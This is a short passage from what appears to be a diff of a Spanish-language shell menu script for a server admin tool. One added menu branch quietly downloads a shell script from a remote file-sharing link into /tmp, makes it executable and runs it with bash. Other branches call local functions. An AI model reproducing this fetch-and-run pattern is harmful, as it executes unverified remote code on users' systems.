-p " Enter";; +29) wget -q -O /tmp/dnsNN.sh ${_link}l1hjn77fp0cywsl/dnsNN.sh?dl=0; chmod +x /tmp/dnsNN.sh;bash /tmp/dnsNN.sh && read -p " Enter";; +31) BlockADS && read -p " Enter";; +30) fun_bar 'fun_ports' && read -p " Enter";; +esac +done +#Reinicia ADM